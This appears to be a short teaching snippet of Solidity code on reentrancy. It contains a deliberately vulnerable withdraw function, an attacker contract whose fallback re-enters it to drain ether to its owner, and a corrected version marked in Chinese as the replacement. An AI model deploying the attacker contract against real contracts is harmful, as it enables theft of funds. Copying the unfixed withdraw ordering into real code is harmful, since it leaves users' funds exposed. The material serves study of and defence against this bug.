contract Vulnerable{


    mapping(address =>uint) public _balanceOf;

    function withdrawEquity() public returns(bool){

        uint x = _balanceOf[msg.sender];
 

        msg.sender.call.value(x)();
        _balanceOf[msg.sender] = 0 ;
        return true;
    }

    function add(address _addr) payable{
        _balanceOf[_addr] = 100;
    }

        function getBalance() returns(uint){
        return this.balance;
    }
}


contract Malicious{
    address private _owner;
    Vulnerable public vul;
    function setInstance(address addr) public{
         vul = Vulnerable(addr);

    }

    function Malicious() public {
        _owner = msg.sender;
    }

    function () public payable{
        vul.withdrawEquity();
    }

    function winnerWinnerChickenDinner() public{
        _owner.transfer(this.balance);
    }

    function getBalance() returns(uint){
        return this.balance;
    }
}

contract transferEther{
    function test(address _addr) payable{
        _addr.call.value(5 ether)();

    }
}

function withdrawEquity() public returns(bool){

    uint x = _balanceOf[msg.sender];
    msg.sender.call.value(x)();
    _balanceOf[msg.sender] = 0 ;
    return true;
}
替換為：
function withdrawEquity() public returns(bool){
    uint x = _balanceOf[msg.sender];
    _balanceOf[msg.sender] = 0 ;
    msg.sender.call.value(x)();
    return true;
}